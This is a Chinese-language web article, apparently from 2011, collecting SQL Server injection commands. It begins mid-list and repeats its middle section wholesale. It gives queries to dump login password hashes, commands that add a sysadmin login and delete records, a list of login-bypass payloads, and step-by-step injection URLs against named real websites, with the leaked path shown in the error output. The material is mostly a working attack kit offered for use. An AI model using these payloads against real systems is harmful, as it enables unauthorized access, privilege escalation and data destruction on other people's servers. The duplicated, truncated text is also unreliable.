比較全的SQL注入相關(guān)的命令分享
作者: 來源: 發(fā)布時(shí)間:2011-6-15 15:18:23 點(diǎn)擊:
呵呵,解決的方法就是把sa給刪拉。,怎么刪可以參考我的《完全刪除sa這個(gè)后門》。
查看本機(jī)所有的數(shù)據(jù)庫用戶名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins
更改sa口令方法:用sql綜合利用工具連接后,執(zhí)行命令:
exec sp_password NULL,'新密碼','sa'
13、查詢dvbbs庫中所有的表名和表結(jié)構(gòu):
select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
select * from dvbbs.dbo.syscolumns where id=1426104121
14、手工備份當(dāng)前數(shù)據(jù)庫:
完全備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差異備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—
15、添加和刪除一個(gè)SA權(quán)限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
cmd.exe /c isql -E /U alma /P /i K:\test.qry
16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出庫ChouYFD中所有的用戶建立的表名。
Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0
17、
http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb庫中所有表中的字段名稱
select * from dvbbs.dbo.syscolumns where id=5575058
列出庫dvbbs中表id=5575058的所有字段名
18、刪除記錄命令:delete from Dv_topic where boardid=5 and topicid=7978
19、繞過登錄驗(yàn)證進(jìn)入后臺(tái)的方法整理:
1) ' or''='
2) ' or 1=1--
3) ‘ or ‘a’=’a--
4) ‘or’=’or’
5) " or 1=1--
6)or 1=1--
7) or ’a=’a
8)" or "a"="a
9) ’) or (’a’=’a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人氣%’ and 1=1 and ’%’=’
20、尋找網(wǎng)站路徑的方法匯總:
1)查看WEB網(wǎng)站安裝目錄命令:
cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (將2換成1、3、4、5試試)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接顯示運(yùn)行結(jié)果,所以不用導(dǎo)出到文件
2)在網(wǎng)站上隨便找到一個(gè)圖片的名字 123.jpg
然后寫進(jìn)批處理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt
執(zhí)行后 type c:\123.txt
這樣來分析網(wǎng)站的路徑
3)SQL服務(wù)器和網(wǎng)站服務(wù)器在同一個(gè)服務(wù)器上,好了是可以執(zhí)行命令是吧?
將執(zhí)行命令輸出結(jié)果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意輸出前Backup這兩個(gè)文件
如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后隨便輸入一個(gè)文件來訪問:http://目標(biāo)ip/2.asp
4)針對(duì)win2000系統(tǒng):xp_regread讀取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 獲取WEB路徑
2003系統(tǒng):xp_regread讀取,未找到方法
如:
(1) 新建一個(gè)表cyfd(字段為gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路徑寫進(jìn)去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3) 還是讓他不匹配,顯示錯(cuò)誤:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 將 varchar 值 'Y:\Web\煙臺(tái)人才熱線后臺(tái)管理系統(tǒng),,201 ' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。
TargeSite: Boolean Read() 哈哈哈。。路徑暴露了。。
(4)接下來刪除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--
5)用regedit命令導(dǎo)出注冊(cè)表,將導(dǎo)出的結(jié)果保存的路徑到%windir%\help\iishelp\common\404b.htm或者500.asp頁面
regedit命令說明:
Regedit /L:system /R:user /E filename.reg Regpath
參數(shù)含義:
/L:system指定System.dat文件所在的路徑。
/R:user指定User.dat文件所在的路徑。
/E:此參數(shù)指定注冊(cè)表編輯器要進(jìn)行導(dǎo)出注冊(cè)表操作,在此參數(shù)后面空一格,輸入導(dǎo)出注冊(cè)表的文件名。
Regpath:用來指定要導(dǎo)出哪個(gè)注冊(cè)表的分支,如果不指定,則將導(dǎo)出全部注冊(cè)表分支。在這些參數(shù)中,"/L:system"和"/R:user"參數(shù)是可選項(xiàng),如果不使用這兩個(gè)參數(shù),注冊(cè)表編輯器則認(rèn)為是對(duì)WINDOWS目錄下的"system.dat"和"user.dat"文件進(jìn)行操作。如果是通過從軟盤啟動(dòng)并進(jìn)入DOS,那么就必須使用"/L"和"/R"參數(shù)來指定"system.dat"和"user.dat"文件的具體路徑,否則注冊(cè)表編輯器將無法找到它們。
查看本機(jī)所有的數(shù)據(jù)庫用戶名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins
更改sa口令方法:用sql綜合利用工具連接后,執(zhí)行命令:
exec sp_password NULL,'新密碼','sa'
13、查詢dvbbs庫中所有的表名和表結(jié)構(gòu):
select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
select * from dvbbs.dbo.syscolumns where id=1426104121
14、手工備份當(dāng)前數(shù)據(jù)庫:
完全備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差異備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—
15、添加和刪除一個(gè)SA權(quán)限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
cmd.exe /c isql -E /U alma /P /i K:\test.qry
16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出庫ChouYFD中所有的用戶建立的表名。
Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0
17、
http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb庫中所有表中的字段名稱
select * from dvbbs.dbo.syscolumns where id=5575058
列出庫dvbbs中表id=5575058的所有字段名
18、刪除記錄命令:delete from Dv_topic where boardid=5 and topicid=7978
19、繞過登錄驗(yàn)證進(jìn)入后臺(tái)的方法整理:
1) ' or''='
2) ' or 1=1--
3) ‘ or ‘a’=’a--
4) ‘or’=’or’
5) " or 1=1--
6)or 1=1--
7) or ’a=’a
8)" or "a"="a
9) ’) or (’a’=’a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人氣%’ and 1=1 and ’%’=’
20、尋找網(wǎng)站路徑的方法匯總:
1)查看WEB網(wǎng)站安裝目錄命令:
cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (將2換成1、3、4、5試試)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接顯示運(yùn)行結(jié)果,所以不用導(dǎo)出到文件
2)在網(wǎng)站上隨便找到一個(gè)圖片的名字 123.jpg
然后寫進(jìn)批處理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt
執(zhí)行后 type c:\123.txt
這樣來分析網(wǎng)站的路徑
3)SQL服務(wù)器和網(wǎng)站服務(wù)器在同一個(gè)服務(wù)器上,好了是可以執(zhí)行命令是吧?
將執(zhí)行命令輸出結(jié)果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意輸出前Backup這兩個(gè)文件
如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后隨便輸入一個(gè)文件來訪問:http://目標(biāo)ip/2.asp
4)針對(duì)win2000系統(tǒng):xp_regread讀取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 獲取WEB路徑
2003系統(tǒng):xp_regread讀取,未找到方法
如:
(1) 新建一個(gè)表cyfd(字段為gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路徑寫進(jìn)去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3) 還是讓他不匹配,顯示錯(cuò)誤:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 將 varchar 值 'Y:\Web\煙臺(tái)人才熱線后臺(tái)管理系統(tǒng),,201 ' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。
TargeSite: Boolean Read() 哈哈哈。。路徑暴露了。。
(4)接下來刪除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--
5)用regedit命令導(dǎo)出注冊(cè)表,將導(dǎo)出的結(jié)果保存的路徑到%windir%\help\iishelp\common\404b.htm或者500.asp頁面
regedit命令說明:
Regedit /L:system /R:user /E filename.reg Regpath
參數(shù)含義:
/L:system指定System.dat文件所在的路徑。
/R:user指定User.dat文件所在的路徑。
/E:此參數(shù)指定注冊(cè)表編輯器要進(jìn)行導(dǎo)出注冊(cè)表操作,在此參數(shù)后面空一格,輸入導(dǎo)出注冊(cè)表的文件名。
Regpath:用來指定要導(dǎo)出哪個(gè)注冊(cè)表的分支,如果不指定,則將導(dǎo)出全部注冊(cè)表分支。在這些參數(shù)中,"/L:system"和"/R:user"參數(shù)是可選項(xiàng),如果不使用這兩個(gè)參數(shù),注冊(cè)表編輯器則認(rèn)為是對(duì)WINDOWS目錄下的"system.dat"和"user.dat"文件進(jìn)行操作。如果是通過從軟盤啟動(dòng)并進(jìn)入DOS,那么就必須使用"/L"和"/R"參數(shù)來指定"system.dat"和"user.dat"文件的具體路徑,否則注冊(cè)表編輯器將無法找到它們。
Tags:
比較全的SQL注入相關(guān)的命令分享[收藏此文章]